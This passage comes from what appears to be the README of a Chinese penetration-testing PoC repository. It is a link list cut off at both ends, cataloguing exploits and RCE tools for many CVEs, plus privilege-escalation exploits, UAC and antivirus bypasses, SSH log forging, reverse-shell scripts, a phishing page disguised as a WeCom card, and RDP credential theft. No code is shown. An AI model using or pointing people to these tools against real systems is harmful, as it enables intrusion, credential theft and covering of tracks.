[thinkphp5框架缺陷导致远程代码执行](thinkphp5框架缺陷导致远程代码执行.md) - [FineCMS_v5.0.8两处getshell](FineCMS_v5.0.8两处getshell.md) - [Struts2_045漏洞批量检测|搜索引擎采集扫描](Struts2_045-Poc) - [thinkphp5命令执行](thinkphp5命令执行.md) - [typecho反序列化漏洞](typecho反序列化漏洞.md) - [CVE-2019-10173 Xstream 1.4.10版本远程代码执行](CVE-2019-10173%20Xstream%201.4.10版本远程代码执行漏洞.md) - [IIS/CVE-2017-7269-Echo-PoC](./IIS/CVE-2017-7269-Echo-PoC) - [CVE-2019-15107 Webmin RCE](./CVE-2019-15107) - [thinkphp5 rce漏洞检测工具](./tp5-getshell) - [thinkphp5_RCE合集](./tp5-getshell/TP5_RCE合集.md) - [thinkphp3.X-thinkphp5.x](./tp5-getshell/ThinkPHP.md) - [关于ThinkPHP框架的历史漏洞分析集合](https://github.com/Mochazz/ThinkPHP-Vuln) - [CVE-2019-11510](./CVE-2019-11510) - [Redis(<=5.0.5) RCE](./redis-rogue-server) - [Redis 4.x/5.x RCE(主从复制导致RCE)](https://github.com/Ridter/redis-rce) - [生成Redis恶意模块so文件配合主从复制RCE达到命令执行](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)|[相关文章](https://www.freebuf.com/vuls/224235.html) - [RedisWriteFile-通过 `Redis` 主从写出无损文件,可用于 `Windows` 平台下写出无损的 `EXE`、`DLL`、 `LNK` 和 `Linux` 下的 `OS` 等二进制文件](https://github.com/r35tart/RedisWriteFile) - [WeblogicScanLot系列,Weblogic漏洞批量检测工具](./WeblogicScanLot) - [jboss_CVE-2017-12149](./jboss_CVE-2017-12149) - [Wordpress的拒绝服务(DoS)-CVE-2018-6389](./CVE-2018-6389) - [Webmin Remote Code Execution (authenticated)-CVE-2019-15642](https://github.com/jas502n/CVE-2019-15642) - [CVE-2019-16131 OKLite v1.2.25 任意文件上传漏洞](./CVE-2019-16131%20OKLite%20v1.2.25%20任意文件上传漏洞.md) - [CVE-2019-16132 OKLite v1.2.25 存在任意文件删除漏洞](./CVE-2019-16132%20OKLite%20v1.2.25%20存在任意文件删除漏洞.md) - [CVE-2019-16309 FlameCMS 3.3.5 后台登录处存在sql注入漏洞](./CVE-2019-16309%20FlameCMS%203.3.5%20后台登录处存在sql注入漏洞.md) - [CVE-2019-16314 indexhibit cms v2.1.5 存在重装并导致getshell](./CVE-2019-16314%20indexhibit%20cms%20v2.1.5%20存在重装并导致getshell.md) - [泛微OA管理系统RCE漏洞利用脚本](./泛微OA管理系统RCE漏洞利用脚本.md) - [CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit](./CVE-2019-16759%20vBulletin%205.x%200day%20pre-auth%20RCE%20exploit.md) - [zentao-getshell 禅道8.2 - 9.2.1前台Getshell](./zentao-getshell) - [泛微 e-cology OA 前台SQL注入漏洞](./泛微%20e-cology%20OA%20前台SQL注入漏洞.md) - [Joomla-3.4.6-RCE](./Joomla-3.4.6-RCE.md) - [Easy File Sharing Web Server 7.2 - GET 缓冲区溢出 (SEH)](./Easy%20File%20Sharing%20Web%20Server%207.2%20-%20GET%20缓冲区溢出%20(SEH).md) - [构建ASMX绕过限制WAF达到命令执行(适用于ASP.NET环境)](./构建ASMX绕过限制WAF达到命令执行.md) - [CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass](./CVE-2019-17662-ThinVNC%201.0b1%20-%20Authentication%20Bypass.md) - [CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd](./CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md) - [CVE-2019-11043-PHP远程代码执行漏](./CVE-2019-11043) - [ThinkCMF漏洞全集和](./ThinkCMF漏洞全集和.md) - [CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行](./CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行.md) - [ecologyExp.jar-泛微ecology OA系统数据库配置文件读取](./tools/ecologyExp.jar) - [freeFTP1.0.8-'PASS'远程缓冲区溢出](./freeFTP1.0.8-'PASS'远程缓冲区溢出.md) - [rConfig v3.9.2 RCE漏洞](./rConfig%20v3.9.2%20RCE漏洞.md) - [apache_solr_rce](./solr_rce.md) - [CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行](CVE-2019-7580%20thinkcmf-5.0.190111后台任意文件写入导致的代码执行.md) - [Apache Flink任意Jar包上传导致远程代码执行](https://github.com/LandGrey/flink-unauth-rce) - [用于检测JSON接口令牌安全性测试](https://github.com/ticarpi/jwt_tool) - [cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC](cve-2019-17424%20nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC.md) - [CVE-2019-12409_Apache_Solr RCE](https://github.com/jas502n/CVE-2019-12409) - [Shiro RCE (Padding Oracle Attack)](https://github.com/wuppp/shiro_rce_exp) - [CVE-2019-19634-class.upload.php <= 2.0.4任意文件上传](https://github.com/jra89/CVE-2019-19634) - [Apache Solr RCE via Velocity Template Injection](./Apache%20Solr%20RCE%20via%20Velocity%20Template%20Injection.md) - [CVE-2019-10758-mongo-express before 0.54.0 is vulnerable to Remote Code Execution ](https://github.com/masahiro331/CVE-2019-10758/) - [CVE-2019-2107-Android播放视频-RCE-POC(Android 7.0版本,7.1.1版本,7.1.2版本,8.0版本,8.1版本,9.0版本)](https://github.com/marcinguy/CVE-2019-2107) - [CVE-2019-19844-Django重置密码漏洞(受影响版本:Django master branch,Django 3.0,Django 2.2,Django 1.11)](https://github.com/ryu22e/django_cve_2019_19844_poc/) - [CVE-2019-17556-unsafe-deserialization-in-apache-olingo(Apache Olingo反序列化漏洞,影响: 4.0.0版本至4.6.0版本)](https://medium.com/bugbountywriteup/cve-2019-17556-unsafe-deserialization-in-apache-olingo-8ebb41b66817) - [ZZCMS201910 SQL Injections](./ZZCMS201910%20SQL%20Injections.md) - [WDJACMS1.5.2模板注入漏洞](./WDJACMS1.5.2模板注入漏洞.md) - [CVE-2019-19781-Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway](https://github.com/projectzeroindia/CVE-2019-19781) - [CVE-2019-19781.nse---use Nmap check Citrix ADC Remote Code Execution](https://github.com/cyberstruggle/DeltaGroup/tree/master/CVE-2019-19781) - [Mysql Client 任意文件读取攻击链拓展](https://paper.seebug.org/1112/) - [CVE-2020-5504-phpMyAdmin注入(需要登录)](https://xz.aliyun.com/t/7092) - [CVE-2020-5509-Car Rental Project 1.0版本中存在远程代码执行漏洞](https://github.com/FULLSHADE/CVE-2020-5509-POC) - [CryptoAPI PoC CVE-2020-0601](https://github.com/kudelskisecurity/chainoffools/blob/master/README.md)|[另一个PoC for CVE-2020-0601](https://github.com/ollypwn/CVE-2020-0601) - [New Weblogic RCE (CVE-2020-2546、CVE-2020-2551) CVE-2020-2546](https://mp.weixin.qq.com/s/Q-ZtX-7vt0JnjNbBmyuG0w)|[WebLogic WLS核心组件RCE分析(CVE-2020-2551)](https://www.anquanke.com/post/id/199695)|[CVE-2020-2551-Weblogic IIOP 反序列化EXP](https://github.com/Y4er/CVE-2020-2551) - [CVE-2020-5398 - RFD(Reflected File Download) Attack for Spring MVC](https://github.com/motikan2010/CVE-2020-5398/) - [PHPOK v5.3&v5.4getshell](https://www.anquanke.com/post/id/194453) | [phpok V5.4.137前台getshell分析](https://forum.90sec.com/t/topic/728) | [PHPOK 4.7从注入到getshell](https://xz.aliyun.com/t/1569) - [thinkphp6 session 任意文件创建漏洞复现 含POC](./books/thinkphp6%20session%20任意文件创建漏洞复现%20含POC.pdf) --- 原文在漏洞推送公众号上 - [ThinkPHP 6.x反序列化POP链(一)](./books/ThinkPHP%206.x反序列化POP链(一).pdf)|[原文链接](https://mp.weixin.qq.com/s/rEjt9zb-AksiVwF1GngFww) - [ThinkPHP 6.x反序列化POP链(二)](./books/ThinkPHP%206.x反序列化POP链(二).pdf)|[原文链接](https://mp.weixin.qq.com/s/q8Xa3triuXEB3NoeOgka1g) - [ThinkPHP 6.x反序列化POP链(三)](./books/ThinkPHP%206.x反序列化POP链(三).pdf)|[原文链接](https://mp.weixin.qq.com/s/PFNt3yF0boE5lR2KofghBg) - [WordPress InfiniteWP - Client Authentication Bypass (Metasploit)](https://www.exploit-db.com/exploits/48047) - [【Linux提权/RCE】OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution](https://www.exploit-db.com/exploits/48051) - [CVE-2020-7471-django1.11-1.11.282.2-2.2.103.0-3.0.3 StringAgg(delimiter)使用了不安全的数据会造成SQL注入漏洞环境和POC](https://github.com/Saferman/CVE-2020-7471) - [CVE-2019-17564 : Apache Dubbo反序列化漏洞](https://www.anquanke.com/post/id/198747) - [CVE-2019-2725(CNVD-C-2019-48814、WebLogic wls9-async)](https://github.com/lufeirider/CVE-2019-2725) - [YzmCMS 5.4 后台getshell](https://xz.aliyun.com/t/7231) - 关于Ghostcat(幽灵猫CVE-2020-1938漏洞):[CNVD-2020-10487(CVE-2020-1938), tomcat ajp 文件读取漏洞poc](https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC)|[Java版本POC](https://github.com/0nise/CVE-2020-1938)|[Tomcat-Ajp协议文件读取漏洞](https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/)|[又一个python版本CVE-2020-1938漏洞检测](https://github.com/xindongzhuaizhuai/CVE-2020-1938)|[CVE-2020-1938-漏洞复现环境及EXP](https://github.com/laolisafe/CVE-2020-1938) - [CVE-2020-8840:Jackson-databind远程命令执行漏洞(或影响fastjson)](https://github.com/jas502n/CVE-2020-8840) - [CVE-2020-8813-Cacti v1.2.8 RCE远程代码执行 EXP以及分析(需要认证/或开启访客即可不需要登录)(一款Linux是基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具)](https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/)|[EXP](./CVE-2020-8813%20-%20Cacti%20v1.2.8%20RCE.md)|[CVE-2020-8813MSF利用脚本](https://www.exploit-db.com/exploits/48159) - [CVE-2020-7246-PHP项目管理系统qdPM< 9.1 RCE](https://www.exploit-db.com/exploits/48146) - [CVE-2020-9547:FasterXML/jackson-databind 远程代码执行漏洞](https://github.com/fairyming/CVE-2020-9547) - [CVE-2020-9548:FasterXML/jackson-databind 远程代码执行漏洞](https://github.com/fairyming/CVE-2020-9548) - [Apache ActiveMQ 5.11.1目录遍历/ Shell上传](https://cxsecurity.com/issue/WLB-2020030033) - [CVE-2020-2555:WebLogic RCE漏洞POC](https://mp.weixin.qq.com/s/Wq6Fu-NlK8lzofLds8_zoA)|[CVE-2020-2555-Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE](https://github.com/Y4er/CVE-2020-2555) - [CVE-2020-1947-Apache ShardingSphere UI YAML解析远程代码执行漏洞](https://github.com/jas502n/CVE-2020-1947) - [CVE-2020-0554:phpMyAdmin后台SQL注入](./CVE-2020-0554:phpMyAdmin后台SQL注入.md) - [泛微E-Mobile Ognl 表达式注入](./泛微e-mobile%20ognl注入.md)|[表达式注入.pdf](./books/表达式注入.pdf) - [通达OA RCE漏洞](https://github.com/fuhei/tongda_rce) - [CVE-2020-10673-jackson-databind JNDI注入导致远程代码执行]() - [CVE-2020-10199、CVE-2020-10204漏洞一键检测工具,图形化界面(Sonatype Nexus <3.21.1)](https://github.com/magicming200/CVE-2020-10199_CVE-2020-10204) - [CVE-2020-2555-Oracle Coherence 反序列化漏洞](https://github.com/wsfengfan/CVE-2020-2555)|[分析文章](https://paper.seebug.org/1141/) - [cve-2020-5260-Git凭证泄露漏洞](https://github.com/brompwnie/cve-2020-5260) - [通达OA前台任意用户伪造登录漏洞批量检测](./通达OA前台任意用户伪造登录漏洞批量检测.md) - [CVE-2020-11890 JoomlaRCE <3.9.17 远程命令执行漏洞(需要有效的账号密码)](https://github.com/HoangKien1020/CVE-2020-11890) - [CVE-2020-10238【JoomlaRCE <= 3.9.15 远程命令执行漏洞(需要有效的账号密码)】&CVE-2020-10239【JoomlaRCE 3.7.0 to 3.9.15 远程命令执行漏洞(需要有效的账号密码)】](https://github.com/HoangKien1020/CVE-2020-10238) - [CVE-2020-2546,CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic T3 payload exploit poc python3](https://github.com/hktalent/CVE_2020_2546)|[CVE-2020-2883-Weblogic coherence.jar RCE](https://github.com/Y4er/CVE-2020-2883)|[WebLogic-Shiro-shell-WebLogic利用CVE-2020-2883打Shiro rememberMe反序列化漏洞,一键注册filter内存shell](https://github.com/Y4er/WebLogic-Shiro-shell) - [tongda_oa_rce-通达oa 越权登录+文件上传getshell](https://github.com/clm123321/tongda_oa_rce) - [CVE-2020-11651-SaltStack Proof of Concept【认证绕过RCE漏洞】](https://github.com/0xc0d/CVE-2020-11651)|[CVE-2020-11651&&CVE-2020-11652 EXP](https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP) - [showdoc的api_page存在任意文件上传getshell](./showdoc的api_page存在任意文件上传getshell.md) - [Fastjson <= 1.2.47 远程命令执行漏洞利用工具及方法](https://github.com/CaijiOrz/fastjson-1.2.47-RCE) - [SpringBoot_Actuator_RCE](https://github.com/jas502n/SpringBoot_Actuator_RCE) - [jizhicms(极致CMS)v1.7.1代码审计-任意文件上传getshell+sql注入+反射XSS](./books/jizhicms(极致CMS)v1.7.1代码审计引发的思考.pdf) - [CVE-2020-9484:Apache Tomcat Session 反序列化代码执行漏洞](./tools/CVE-2020-9484.tgz)|[CVE-2020-9484:Apache Tomcat 反序列化RCE漏洞的分析和利用](https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/) - [PHPOK 最新版漏洞组合拳 GETSHELL](./books/PHPOK最新版漏洞组合拳GETSHELL.pdf) - [Apache Kylin 3.0.1命令注入漏洞](https://community.sonarsource.com/t/apache-kylin-3-0-1-command-injection-vulnerability/25706) - [weblogic T3 collections java InvokerTransformer Transformer InvokerTransformer weblogic.jndi.WLInitialContextFactory](https://github.com/hktalent/weblogic_java_des) - [CVE-2020-5410 Spring Cloud Config目录穿越漏洞](https://xz.aliyun.com/t/7877) - [NewZhan CMS 全版本 SQL注入(0day)](./books/NewZhan%20CMS%20全版本%20SQL注入(0day).pdf) - [盲注 or 联合?记一次遇见的奇葩注入点之SEMCMS3.9(0day)](./books/盲注%20or%20联合?记一次遇见的奇葩注入点之SEMCMS3.9(0day).pdf) - [从PbootCMS(2.0.3&2.0.7前台RCE+2.0.8后台RCE)审计到某狗绕过](./books/从PbootCMS(2.0.3&2.0.7前台RCE+2.0.8后台RCE)审计到某狗绕过.pdf) - [CVE-2020-1948 : Apache Dubbo 远程代码执行漏洞](https://github.com/ctlyz123/CVE-2020-1948) - [CVE-2020-5902-F5 BIG-IP 远程代代码执行(RCE)&任意文件包含读取](https://github.com/jas502n/CVE-2020-5902)|[CVE-2020-5902又一EXP加测试docker文件](https://github.com/superzerosec/cve-2020-5902) - [CVE-2020-8193-Citrix未授权访问任意文件读取](https://github.com/jas502n/CVE-2020-8193) - [通读审计之天目MVC_T框架带Home版(temmokumvc)_v2.01](./books/通读审计之天目MVC_T框架带Home版(temmokumvc)_v2.01.pdf) - [CVE-2020-14645-WebLogic 远程代码执行漏洞](https://github.com/Y4er/CVE-2020-14645)|[Weblogic_CVE-2020-14645](https://github.com/DSO-Lab/Weblogic_CVE-2020-14645) - [CVE-2020-6287-SAP NetWeaver AS JAVA 授权问题漏洞-创建用户EXP](https://github.com/duc-nt/CVE-2020-6287-exploit)|[SAP_RECON-PoC for CVE-2020-6287, CVE-2020-6286 (SAP RECON vulnerability)](https://github.com/chipik/SAP_RECON) - [CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029-jenkins-rce](https://github.com/orangetw/awesome-jenkins-rce-2019) - [CVE-2020-3452:Cisco ASA/FTD 任意文件读取漏洞](./CVE-2020-3452:Cisco_ASAFTD任意文件读取漏洞.md) - [74CMS_v5.0.1后台RCE分析](./books/74CMS_v5.0.1后台RCE分析.pdf) - [CVE-2020-8163 - Remote code execution of user-provided local names in Rails](https://github.com/sh286/CVE-2020-8163) ## <span id="head5"> 提权辅助相关</span> - [windows-kernel-exploits Windows平台提权漏洞集合](https://github.com/SecWiki/windows-kernel-exploits) - [windows 溢出提权小记](https://klionsec.github.io/2017/04/22/win-0day-privilege/)/[本地保存了一份+Linux&Windows提取脑图](./tools/Local%20Privilege%20Escalation.md) - [Windows常见持久控制脑图](./tools/Windows常见持久控制.png) - [CVE-2019-0803 Win32k漏洞提权工具](./CVE-2019-0803) - [脏牛Linux提权漏洞](https://github.com/Brucetg/DirtyCow-EXP) - [远控免杀从入门到实践之白名单(113个)](https://github.com/TideSec/BypassAntiVirus)|[远控免杀从入门到实践之白名单(113个)总结篇.pdf](./books/远控免杀从入门到实践之白名单(113个)总结篇.pdf) - [Linux提权-CVE-2019-13272 A linux kernel Local Root Privilege Escalation vulnerability with PTRACE_TRACEME](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272-aarch64) - [Linux权限提升辅助一键检测工具](https://github.com/mzet-/linux-exploit-suggester) - [将powershell脚本直接注入到进程中执行来绕过对powershell.exe的限制](https://github.com/EmpireProject/PSInject) - [CVE-2020-2696 – Local privilege escalation via CDE dtsession](https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtsession_ipa.c) - [CVE-2020-0683-利用Windows MSI “Installer service”提权](https://github.com/padovah4ck/CVE-2020-0683/) - [Linux sudo提权辅助工具—查找sudo权限配置漏洞](https://github.com/TH3xACE/SUDO_KILLER) - [Windows提权-CVE-2020-0668:Windows Service Tracing本地提权漏洞](https://github.com/RedCursorSecurityConsulting/CVE-2020-0668) - [Linux提取-Linux kernel XFRM UAF poc (3.x - 5.x kernels)2020年1月前没打补丁可测试](https://github.com/duasynt/xfrm_poc) - [linux-kernel-exploits Linux平台提权漏洞集合](https://github.com/SecWiki/linux-kernel-exploits) - [Linux提权辅助检测Perl脚本](https://github.com/jondonas/linux-exploit-suggester-2)|[Linux提权辅助检测bash脚本](https://github.com/mzet-/linux-exploit-suggester) - [CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost](https://github.com/danigargu/CVE-2020-0796)|[【Windows提取】Windows SMBv3 LPE exploit 已编译版.exe](https://github.com/f1tz/CVE-2020-0796-LPE-EXP)|[SMBGhost_RCE_PoC-远程代码执行EXP](https://github.com/chompie1337/SMBGhost_RCE_PoC)|[Windows_SMBv3_RCE_CVE-2020-0796漏洞复现](./books/Windows_SMBv3_RCE_CVE-2020-0796漏洞复现.pdf) - [getAV---windows杀软进程对比工具单文件版](./tools/getAV/) - [【Windows提权工具】Windows 7 to Windows 10 / Server 2019](https://github.com/CCob/SweetPotato)|[搭配CS的修改版可上线system权限的session](https://github.com/lengjibo/RedTeamTools/tree/master/windows/SweetPotato) - [【Windows提权工具】SweetPotato修改版,用于webshell下执行命令](https://github.com/uknowsec/SweetPotato)|[本地编译好的版本](./tools/SweetPotato.zip)|[点击下载或右键另存为](https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/SweetPotato.zip)|[SweetPotato_webshell下执行命令版.pdf](./books/SweetPotato_webshell下执行命令版.pdf) - [【bypass UAC】Windows 8.1 and 10 UAC bypass abusing WinSxS in "dccw.exe"](https://github.com/L3cr0f/DccwBypassUAC/) - [【Windows提权】CVE-2018-8120 Exploit for Win2003 Win2008 WinXP Win7](https://github.com/alpha1ab/CVE-2018-8120) - [【Windows提权 Windows 10&Server 2019】PrintSpoofer-Abusing Impersonation Privileges on Windows 10 and Server 2019](https://github.com/itm4n/PrintSpoofer)|[配合文章食用-pipePotato复现](./books/pipePotato复现.pdf)|[Windows 权限提升 BadPotato-已经在Windows 2012-2019 8-10 全补丁测试成功](https://github.com/BeichenDream/BadPotato) - [【Windows提权】Windows 下的提权大合集](https://github.com/lyshark/Windows-exploits) - [【Windows提权】-CVE-2020-1048 | PrintDemon本地提权漏洞-漏洞影响自1996年以来发布(Windows NT 4)的所有Windows版本](https://github.com/ionescu007/PrintDemon) - [【Windows bypass UAC】UACME-一种集成了60多种Bypass UAC的方法](https://github.com/hfiref0x/UACME) - [CVE-2020–1088: Windows wersvc.dll 任意文件删除本地提权漏洞分析](https://medium.com/csis-techblog/cve-2020-1088-yet-another-arbitrary-delete-eop-a00b97d8c3e2) - [【Windows提权】CVE-2019-0863-Windows中错误报告机制导致的提权-EXP](https://github.com/sailay1996/WerTrigger) - [【Windows提权】CVE-2020-1066-EXP](https://github.com/cbwang505/CVE-2020-1066-EXP) - [【Windows提权】CVE-2020-0787-EXP-ALL-WINDOWS-VERSION-适用于Windows所有版本的提权EXP](https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION) - [【Windows提权】CVE-2020-1054-Win32k提权漏洞Poc](https://github.com/0xeb-bp/cve-2020-1054)|[CVE-2020-1054-POC](https://github.com/Iamgublin/CVE-2020-1054) - [【Linux提权】对Linux提权的简单总结](./books/对Linux提权的简单总结.pdf) - [【Windows提权】wesng-Windows提权辅助脚本](https://github.com/bitsadmin/wesng) - [【Windows提权】dazzleUP是一款用来帮助渗透测试人员进行权限提升的工具,可以在window系统中查找脆弱面进行攻击。工具包括两部分检查内容,exploit检查和错误配置检查。](https://github.com/hlldz/dazzleUP) ## <span id="head6"> PC</span> - [ 微软RDP远程代码执行漏洞(CVE-2019-0708)](./BlueKeep) - [CVE-2019-0708-python版](./BlueKeep/bluekeep-CVE-2019-0708-python) - [MS17-010-微软永恒之蓝漏洞](https://github.com/Mr-xn/MS17-010) - [macOS-Kernel-Exploit](./macOS-Kernel-Exploit) - [CVE-2019-1388 UAC提权 (nt authority\system)](https://github.com/jas502n/CVE-2019-1388) - [CVE-2019-1405和CVE-2019-1322:通过组合漏洞进行权限提升 Microsoft Windows 10 Build 1803 < 1903 - 'COMahawk' Local Privilege Escalation](https://github.com/apt69/COMahawk) - [CVE-2019-11708](https://github.com/0vercl0k/CVE-2019-11708) - [Telegram(macOS v4.9.155353) 代码执行漏洞](https://github.com/Metnew/telegram-links-nsworkspace-open) - [Remote Desktop Gateway RCE bugs CVE-2020-0609 & CVE-2020-0610](https://www.kryptoslogic.com/blog/2020/01/rdp-to-rce-when-fragmentation-goes-wrong/) - [Microsoft SharePoint - Deserialization Remote Code Execution](https://github.com/Voulnet/desharialize/blob/master/desharialize.py) - [CVE-2020-0728-Windows Modules Installer Service 信息泄露漏洞](https://github.com/irsl/CVE-2020-0728/) - [CVE-2020-0618: 微软 SQL Server Reporting Services远程代码执行(RCE)漏洞](https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/)|[GitHub验证POC(其实前文的分析文章也有)](https://github.com/euphrat1ca/CVE-2020-0618) - [CVE-2020-0767Microsoft ChakraCore脚本引擎【Edge浏览器中的一个开源的ChakraJavaScript脚本引擎的核心部分】安全漏洞](https://github.com/phoenhex/files/blob/master/pocs/cve-2020-0767.js) - [CVE-2020-0688:微软EXCHANGE服务的远程代码执行漏洞](https://github.com/random-robbie/cve-2020-0688)|[CVE-2020-0688_EXP---另一个漏洞检测利用脚本](https://github.com/Yt1g3r/CVE-2020-0688_EXP)|[又一个cve-2020-0688利用脚本](https://github.com/Ridter/cve-2020-0688)|[Exploit and detect tools for CVE-2020-0688](https://github.com/zcgonvh/CVE-2020-0688) - [CVE-2020-0674: Internet Explorer远程代码执行漏洞检测](https://github.com/binaryfigments/CVE-2020-0674) - [CVE-2020-8794: OpenSMTPD 远程命令执行漏洞](./CVE-2020-8794-OpenSMTPD%20远程命令执行漏洞.md) - [Linux平台-CVE-2020-8597: PPPD 远程代码执行漏洞](https://github.com/marcinguy/CVE-2020-8597) - [Windows-CVE-2020-0796:疑似微软SMBv3协议“蠕虫级”漏洞](https://cert.360.cn/warning/detail?id=04f6a686db24fcfa478498f55f3b79ef)|[相关讨论](https://linustechtips.com/main/topic/1163724-smbv3-remote-code-execution-cve-2020-0796/)|[CVE-2020–0796检测与修复](CVE-2020-0796检测与修复.md)|[又一个CVE-2020-0796的检测工具-可导致目标系统崩溃重启](https://github.com/eerykitty/CVE-2020-0796-PoC) - [SMBGhost_RCE_PoC(CVE-2020-0796)](https://github.com/chompie1337/SMBGhost_RCE_PoC) - [WinRAR 代码执行漏洞 (CVE-2018-20250)-POC](https://github.com/Ridter/acefile)|[相关文章](https://research.checkpoint.com/2019/extracting-code-execution-from-winrar/)|[全网筛查 WinRAR 代码执行漏洞 (CVE-2018-20250)](https://xlab.tencent.com/cn/2019/02/22/investigating-winrar-code-execution-vulnerability-cve-2018-20250-at-internet-scale/) - [windows10相关漏洞EXP&POC](https://github.com/nu11secur1ty/Windows10Exploits) - [shiro rce 反序列 命令执行 一键工具](https://github.com/wyzxxz/shiro_rce) - [CVE-2019-1458-Win32k中的特权提升漏洞【shell可用-Windows提取】](https://github.com/unamer/CVE-2019-1458) - [CVE-2019-1253-Windows权限提升漏洞-AppXSvc任意文件安全描述符覆盖EoP的另一种poc](https://github.com/sgabe/CVE-2019-1253)|[CVE-2019-1253](https://github.com/padovah4ck/CVE-2019-1253) - [BypassAV【免杀】Cobalt Strike插件,用于快速生成免杀的可执行文件](https://github.com/hack2fun/BypassAV) - [CVE-2020-0674:Internet Explorer UAF 漏洞exp【在64位的win7测试了IE 8, 9, 10, and 11】](https://github.com/maxpl0it/CVE-2020-0674-Exploit) - [SMBGhost_AutomateExploitation-SMBGhost (CVE-2020-0796) Automate Exploitation and Detection](https://github.com/Barriuso/SMBGhost_AutomateExploitation) - [MS Windows OLE 远程代码执行漏洞(CVE-2020-1281)](https://github.com/guhe120/Windows-EoP/tree/master/CVE-2020-1281) - [CVE-2020-1350-Windows的DNS服务器RCE检测的powershell脚本](https://github.com/T13nn3s/CVE-2020-1350)|[CVE-2020-1350-DoS](https://github.com/maxpl0it/CVE-2020-1350-DoS) - [CVE-2020-1362-Microsoft Windows WalletService权限提升漏洞](https://github.com/Q4n/CVE-2020-1362) - [CVE-2020-10713-GRUB2 本地代码执行漏洞](https://github.com/eclypsium/BootHole) - [CVE-2020-1313-Microsoft Windows Update Orchestrator Service权限提升漏洞,可用于Windows提权操作,支持新版的Windows server 2004](https://github.com/irsl/CVE-2020-1313) - [CVE-2020-1337-exploit-Windows 7/8/10上Print Spooler组件漏洞修复后的绕过](https://github.com/math1as/CVE-2020-1337-exploit/)|[cve-2020-1337-poc](https://github.com/sailay1996/cve-2020-1337-poc) ## <span id="head7"> tools-小工具集版本合</span> - [java环境下任意文件下载情况自动化读取源码的小工具](https://github.com/Artemis1029/Java_xmlhack) - [Linux SSH登录日志清除/伪造](./tools/ssh) - [python2的socks代理](./tools/s5.py) - [dede_burp_admin_path-dedecms后台路径爆破(Windows环境)](./tools/dede_burp_admin_path.md) - [PHP 7.1-7.3 disable_functions bypass](./tools/PHP%207.1-7.3%20disable_functions%20bypass.md) - [一个各种方式突破Disable_functions达到命令执行的shell](https://github.com/l3m0n/Bypass_Disable_functions_Shell) - [【PHP】bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)](https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD) - [另一个bypass PHP的disable_functions](https://github.com/mm0r1/exploits) - [cmd下查询3389远程桌面端口](./tools/cmd下查询3389远程桌面端口.md) - [伪装成企业微信名片的钓鱼代码](./tools/伪装成企业微信名片的钓鱼代码.txt) - [vbulletin5-rce利用工具(批量检测/getshell)](https://github.com/theLSA/vbulletin5-rce)/[保存了一份源码:vbulletin5-rce.py](./tools/vbulletin5-rce.py) - [CVE-2017-12615](./tools/CVE-2017-12615.py) - [通过Shodan和favicon icon发现真实IP地址](https://github.com/pielco11/fav-up) - [Cobalt_Strike扩展插件](./tools/Cobalt_Strike扩展插件.md) - [Windows命令行cmd的空格替换](./tools/Windows命令行cmd的空格替换.md) - [绕过disable_function汇总](./tools/绕过disable_function汇总.md) - [WAF Bypass](https://chybeta.gitbooks.io/waf-bypass/content/) - [命令注入总结](./tools/命令注入总结.md) - [隐藏wifi-ssid获取 · theKingOfNight's Blog](./books/隐藏wifi-ssid获取%20·%20theKingOfNight's%20Blog.pdf) - [crt.sh证书/域名收集](./tools/crt.sh证书收集.py) - [TP漏洞集合利用工具py3版本-来自奇安信大佬Lucifer1993](https://github.com/Mr-xn/TPscan) - [Python2编写的struts2漏洞全版本检测和利用工具-来自奇安信大佬Lucifer1993](https://github.com/Mr-xn/struts-scan) - [sqlmap_bypass_D盾_tamper](./tools/sqlmap_bypass_D盾_tamper.py) - [sqlmap_bypass_安全狗_tamper](./tools/sqlmap_bypass_安全狗_tamper.py) - [sqlmap_bypass_空格替换成换行符-某企业建站程序过滤_tamper](./tools/sqlmap_bypass_空格替换成换行符-某企业建站程序过滤_tamper.py) - [sqlmap_bypass_云锁_tamper](./tools/sqlmap_bypass_云锁_tamper.py) - [masscan+nmap扫描脚本](./tools/masscan%2Bnmap.py) - [PHP解密扩展](https://github.com/Albert-Zhan/php-decrypt) - [linux信息收集/应急响应/常见后门检测脚本](https://github.com/al0ne/LinuxCheck) - [RdpThief-从远程桌面客户端提取明文凭据辅助工具](https://github.com/0x09AL/RdpThief) - [使用powershell或CMD直接运行命令反弹shell](https://github.com/ZHacker13/ReverseTCPShell) - [FTP/SSH/SNMP/MSSQL/MYSQL/PostGreSQL/REDIS/ElasticSearch/MONGODB弱口令检测](https://github.com/netxfly/x-crack) - [GitHack-.git泄露利用脚本](https://github.com/lijiejie/GitHack) - 